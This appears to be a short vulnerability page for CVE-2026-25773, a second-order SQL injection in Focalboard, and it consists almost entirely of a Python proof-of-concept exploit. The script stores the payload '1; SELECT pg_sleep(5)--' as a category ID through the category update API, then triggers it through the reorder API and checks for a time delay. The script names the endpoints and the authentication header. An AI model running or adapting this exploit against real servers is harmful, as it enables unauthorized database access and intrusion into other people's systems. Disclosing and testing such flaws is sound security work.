CVE-2026-25773 Focalboard二阶SQL注入漏洞

import requests # Target configuration target_url = "http://vulnerable-focalboard.com" auth_token = "YOUR_AUTH_TOKEN_HERE" # Obtained after login # Step 1: Inject the payload via Category Update API # The payload attempts to execute a time-based delay # Syntax depends on the underlying DB (Postgres/MySQL) malicious_category_id = "1; SELECT pg_sleep(5)--" update_headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } update_payload = { "id": malicious_category_id, "name": "PoC Category" } # Send the malicious payload to be stored # response = requests.patch(f"{target_url}/api/v2/boards/categories", headers=update_headers, json=update_payload) # print(f"Injection status: {response.status_code}") # Step 2: Trigger the execution by calling the Reorder API reorder_payload = { "categoryOrder": [malicious_category_id] } # The server will execute the SQL when processing this request # response = requests.post(f"{target_url}/api/v2/boards/categories/reorder", headers=update_headers, json=reorder_payload) # If response time is > 5 seconds, the injection is successful. print("PoC logic: Inject SQLi payload -> Trigger Reorder -> Observe Time Delay.")